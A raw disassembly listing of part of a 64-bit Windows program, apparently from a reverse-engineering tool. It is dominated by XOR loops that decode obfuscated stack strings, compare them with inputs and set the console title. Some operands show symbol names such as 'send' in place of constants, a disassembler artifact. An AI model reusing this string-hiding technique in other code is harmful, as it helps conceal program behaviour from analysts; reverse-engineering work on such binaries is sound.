cmp cl, byte [rax + rdx]
jne 0x1400230b3
inc rax
test cl, cl
jne 0x1400230a0
mov ebx, esi
jmp 0x1400230b8
sbb ebx, ebx
or ebx, 1
mov eax, dword [str.eWYX:]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400923c8]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], 0x50
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rcx, qword [rbp + 0x650]
lea rdx, [rsp + 0x38]
call fcn.14005db4c
test rax, rax
jne 0x1400232e5
movups xmm0, xmmword [0x1400922d8]
movups xmmword [rbp + 0x188], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400232c2
mov r8d, esi
cmp edi, 2
jl 0x140023281
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x18c]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140023180
jmp 0x1400232c2
lea r9, [rbp + 0x188]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140023290
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rcx, qword [rbp + 0x650]
lea rdx, [rbp + 0x188]
call fcn.14005db4c
movups xmm0, xmmword [str.cW_WK_UH]
movups xmmword [rbp + 0x68], xmm0
movsd xmm1, qword [str.__78___b_6P]
movsd qword [rbp + 0x78], xmm1
mov eax, dword [0x140091f48]
mov dword [rbp + 0x80], eax
cmp byte [0x140091f4b], 0
je 0x1400234b2
mov r8d, esi
cmp edi, 2
jl 0x140023467
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023360
cmp r8d, 0x1c
jge 0x1400234b2
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023480
lea rcx, [rbp + 0x4e8]
cmp qword [rbp + 0x500], 0x10
setae r11b
mov r10, qword [rbp + 0x4e8]
cmovae rcx, r10
lea rdx, [rbp + 0x68]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x1400234eb
inc rcx
test al, al
jne 0x1400234d7
mov r15d, esi
jmp 0x1400234f2
sbb r15d, r15d
or r15d, 1
movups xmm0, xmmword [str.qSVJS_Y]
movups xmmword [rbp + 0x88], xmm0
movsd xmm1, qword [str.__78___b_6PeR_T9]
movsd qword [rbp + 0x98], xmm1
mov eax, dword [0x140092158]
mov dword [rbp + 0xa0], eax
cmp byte [0x14009215b], 0
je 0x1400236c2
mov r8d, esi
cmp edi, 2
jl 0x140023677
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x8c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023570
cmp r8d, 0x1c
jge 0x1400236c2
movsxd rax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023690
lea rax, [rbp + 0x4e8]
test r11b, r11b
cmovne rax, r10
lea r8, [rbp + 0x88]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400236f3
inc rax
test ecx, ecx
jne 0x1400236e0
test edx, edx
jne 0x140023782
movsd xmm0, qword [0x140091ea8]
movsd qword [rsp + 0x78], xmm0
movzx eax, byte [0x140091eb0]
mov byte [rsp + 0x78], 0x44
xor byte [rsp + 0x79], 0x36
xor byte [rsp + 0x7a], 0x37
xor byte [rsp + 0x7b], 0x38
xor byte [rsp + 0x7c], 0x39
xor byte [rsp + 0x7d], 0x3a
xor byte [rsp + 0x7e], 0x3b
xor byte [rsp + 0x7f], 0x3c
xor al, 0x3d
mov byte [rbp - 0x80], al
lea rax, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rax, qword [rbp + 0x650]
lea r8, [rsp + 0x78]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023773
inc rax
test ecx, ecx
jne 0x140023760
test edx, edx
jne 0x140023782
mov al, 1
jmp 0x140023784
xor al, al
test ebx, ebx
je 0x140024862
test al, al
jne 0x140024862
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
test al, al
jne 0x1400239ad
movups xmm0, xmmword [0x140092370]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140092380]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140092390]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1400923a0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1400923b0]
movups xmmword [rbp + 0xf0], xmm0
movzx eax, byte [0x1400923c0]
mov byte [rbp + 0x100], al
mov r8d, esi
cmp edi, 2
jl 0x140023949
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140023842
cmp r8d, 0x51
jge 0x140023992
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140023960
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
movups xmm0, xmmword [str.pETYI_ezOQR_]
movups xmmword [rbp + 0x40], xmm0
movzx eax, word [0x140092310]
mov word [rbp + 0x50], ax
movzx eax, byte [0x140092312]
mov byte [rbp + 0x52], al
mov r8d, esi
cmp edi, 2
jl 0x140023b18
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023a11
cmp r8d, 0x13
jge 0x140023b62
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140023b30
lea rax, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rax, qword [rbp + 0x650]
lea r8, [rbp + 0x40]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023b97
inc rax
test ecx, ecx
jne 0x140023b80
test edx, edx
jne 0x140023f4d
movups xmm0, xmmword [0x140092090]
movups xmmword [rbp + 0x4d0], xmm0
mov eax, dword [0x1400920a0]
mov dword [rbp + 0x4e0], eax
movzx eax, byte [0x1400920a4]
mov byte [rbp + 0x4e4], al
mov r8d, esi
cmp edi, 2
jl 0x140023d17
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4d4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023c10
cmp r8d, 0x15
jge 0x140023d62
movsxd rax, r8d
lea r9, [rbp + 0x4d0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140023d30
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.aVVRIeZRL]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x140092248]
movups xmmword [rbp + 0x220], xmm1
movsd xmm0, qword [str.__9__zeDRHXHRRZ]
movsd qword [rbp + 0x230], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140023ef1
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x214]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023df0
jmp 0x140023f32
lea r9, [rbp + 0x210]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140023f00
lea rdx, [rbp + 0x210]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
movups xmm0, xmmword [str.eDRKJ]
movups xmmword [rbp + 0x238], xmm0
movups xmm1, xmmword [0x140092118]
movups xmmword [rbp + 0x248], xmm1
movsd xmm0, qword [0x140092128]
movsd qword [rbp + 0x258], xmm0
mov r8d, esi
cmp edi, 2
jl 0x1400240c4
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x23c]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023fc3
jmp 0x140024102
lea r9, [rbp + 0x238]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x1400240d0
lea rdx, [rbp + 0x238]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str.EWBK:]
mov dword [rsp + 0x6c], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x70], ax
mov byte [rsp + 0x6c], WSACleanup
xor byte [rsp + 0x6d], 0x36
xor byte [rsp + 0x6e], 0x37
xor byte [rsp + 0x6f], 0x38
xor byte [rsp + 0x70], 0x39
xor byte [rsp + 0x71], 0x3a
lea rcx, [rsp + 0x6c]
call fcn.14002b2b8
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 8
cmovae rdx, qword [rbp + 0x508]
lea rcx, [rbp + 0x370]
call fcn.14001a6f0
lea rcx, [rbp + 0x6f0]
mov ebx, 2
mov edx, ebx
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140024190
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov r14d, dword [rbp + 0x6f8]
test r14d, r14d
jne 0x1400242ed
mov rdx, qword [rbp + 0x520]
cmp rdx, 8
jb 0x14002424e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024249
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258c2
call fcn.14005bc54
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], 7
mov word [rbp + 0x508], si
mov r8, qword [rbp + 0x500]
cmp r8, 0x10
jb 0x14002428a
inc r8
mov rdx, qword [rbp + 0x4e8]
lea rcx, [rbp + 0x4e8]
call fcn.140008c10
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], send
mov byte [rbp + 0x4e8], 0
lea rcx, [rbp + 0x528]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4b0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
lea rcx, [rbp + 0x590]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.140005520
mov eax, 1
jmp 0x140021cd4
lea rcx, [rbp + 0x5b0]
call fcn.140013460
lea rcx, [rbp + 0x650]
call fcn.1400088d0
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140003610
mov r8, rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov r8, qword [rbp + 0x5b0]
cmp r8, qword [rbp + 0x5b8]
je 0x1400245c6
cmp byte [rsp + 0x50], 0
jne 0x140024364
cmp dword [rsp + 0x64], 0
je 0x140024364
cmp dword [rsp + 0x5c], 0
je 0x140024364
mov ebx, esi
test r15d, r15d
setne bl
cmp dword [rsp + 0x54], 0
je 0x140024380
test r15d, r15d
je 0x140024380
xor r9b, r9b
jmp 0x140024383
mov r9b, 1
lea rcx, [rbp + 0x1c0]
call fcn.14001e120
mov dword [rsp + 0x20], ebx
mov edx, r14d
lea rcx, [rbp + 0x1c0]
call fcn.14001e5e0
test al, al
jne 0x1400245f1
movups xmm0, xmmword [str.sWTeHR]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140091f80]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x140091f90]
